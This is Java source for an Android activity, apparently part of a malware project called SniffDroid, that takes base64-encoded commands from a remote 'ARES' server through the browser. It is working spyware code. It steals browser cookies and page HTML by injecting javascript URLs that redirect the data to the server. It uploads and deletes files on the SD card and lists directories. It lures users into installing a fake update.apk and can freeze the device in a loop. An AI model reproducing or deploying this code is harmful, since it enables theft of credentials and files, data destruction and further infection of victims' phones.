package Android.SniffDroid;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.util.Base64;
import android.widget.Toast;
import java.io.File;
import java.io.FileInputStream;


/**
 * receives the Intents from the browser and handles the getdata:// protocol
 * @author Mike
 */
public class NetHackReceiver extends Activity {

    /**
     * called when the activity is first created.
     */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
  
    }
    /**
     * called when the activity is started
     * this methods handles the Intents received from the browser
     */
    @Override
    public void onStart() {
        super.onStart();
       
        String url = getIntent().toURI().split("#")[0];
        url = url.substring("getdata://data/".length());
        url = new String(Base64.decode(url, Base64.DEFAULT | Base64.NO_WRAP));
        String[] parts = url.split(" ");
        
        String command = parts[0];       
        String arg = "";
        for (int i = 1; i<parts.length; i++) {
            arg = parts[i]+" ";
        }
        if (arg.length() > 2) {
            arg = arg.substring(0,arg.length()-1);
        }
               
        if (command.equals("download")) {
            DownloadFile(arg);
        }
        else if (command.equals("cookies")) {
            StealCookies(arg);
        }
        else if (command.equals("display")) {
            DisplayURL(arg);
        }
        else if (command.equals("delete")) {
            DeleteFile(arg);
        }
        else if (command.equals("list")) {
            if (arg.equals("")) {
                SendSDList();
            }
            else {
                String dirList = GetFileList(new File(arg));
                SniffDroid.SendData("data","File list:\r\n"+dirList);
            }
        }
        else if (command.equals("update")) {
            Update();
        }
        else if (command.equals("reboot")) {
            Reboot();
        }
        finish();   
    }
    /**
     * called when the activity is resumed
     */
    @Override
    public void onResume() {
        super.onResume();
    }
    /**
     * steals the cookies from the given url
     * @param url the url to steal the cookies from
     */
    private void StealCookies(String url) {
        SniffDroid.SetBeaconState(false);
        SniffDroid.SendData("data", "Attempting to steal cookies from "+url);
        SniffDroid.Wait(10);
        startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse(url)).setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
        //wait for the site to load, this can take some time
        //sending the next intent to early will prevent the attack from being successful
        SniffDroid.Wait(20);
        String attackString = "javascript:window.location=\"http://"+SniffDroid.GetServer()+"/cookies/\"+encodeURIComponent(document.cookie)";
        startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse(attackString)));
        SniffDroid.Wait(60);
        SniffDroid.SendData("data", "Process of cookie transfer complete...");
        SniffDroid.SetBeaconState(true);
    }
    /**
     * displays the given url as seen by the user and transmitts the html code to ARES
     * @param url the url to display
     */
    private void DisplayURL(String url) {
        SniffDroid.SetBeaconState(false);
        SniffDroid.SendData("data", "Attempting to display HTML code for "+url);
        SniffDroid.Wait(10);
        startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse(url)).setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
        //wait for the site to load, this can take some time
        //sending the next intent to early will prevent the attack from being successful
        SniffDroid.Wait(20);
        String attackString = "javascript:window.location=\"http://"+SniffDroid.GetServer()+"/html/\"+encodeURIComponent(\"<head>\"+document.head.innerHTML+\"</head><body>\"+document.body.innerHTML+\"</body>\")";
        startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse(attackString)));
        SniffDroid.Wait(60);
        SniffDroid.SendData("data", "Process complete...");
        SniffDroid.SetBeaconState(true);
    }
    /**
     * reboots the system by crashing the JNI server
     */
    private void Reboot() {
       while (true) {
            Toast.makeText(getApplicationContext(), "REBOOT", Toast.LENGTH_LONG).show();
        }
    }
    /**
     * downloads a fake update from ARES in order to lure the user into installing another malicious app
     */
    private void Update() {
        startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://"+SniffDroid.GetServer()+"/upload/update.apk")));
    }
    /**
     * deletes the given filename
     * @param fileName the filename to delete
     */
    private void DeleteFile(String fileName) {
        File file = new File(fileName);
        if (file.delete()) {
            SniffDroid.SendData("data", "File "+fileName+" deleted");
        }
        else {
           SniffDroid.SendData("data", "Cannot delete "+fileName); 
        }
        
    }
    /**
     * sends the given filename to ARES
     * @param fileName the filename to transfer
     */
    private void DownloadFile(String fileName) {
        try {
            SniffDroid.SetBeaconState(false);
            
            byte[] buff = new byte[SniffDroid.C_BROWSERMAXURLBYTES];
            FileInputStream fstream = new FileInputStream(fileName);
            int bytesRead;
            while ((bytesRead = fstream.read(buff, 0, buff.length)) != -1) {   
                //ByteBuffer.wrap?
                SniffDroid.SendData("file", buff, bytesRead);
            }
            SniffDroid.SendData("file", "");
            SniffDroid.SendData("data", "download complete!");
        } 
        catch (Exception ex) {
            SniffDroid.SendData("data", "Cannot read file "+fileName);
        }
        finally {
            SniffDroid.SetBeaconState(true);
        }
    }
    /**
     * sends the directory listing of the root directory of the sd card
     */
    private void SendSDList() {
        File sdcard = Environment.getExternalStorageDirectory();
        String dirList = GetFileList(sdcard);
        SniffDroid.SendData("data","File list:\r\n"+dirList);
    }
    /**
     * get the directory listing of the given directory
     * @param dir the directory to display the content for
     * @return the content of the directory
     */
    private String GetFileList(File dir) {
        if (dir.isDirectory()) {
            String list = "";
            File[] files = dir.listFiles();
            for (File file : files) {
                //list += GetFileList(file);
                if (file.isDirectory()) {
                    list += "D:";
                }
                list += file.getAbsolutePath()+"\r\n";
            }
            return list;
        }
        else {
            return "Cannot open "+dir.getAbsolutePath() + ". Is it a directory?\r\n";
        }
    }
}
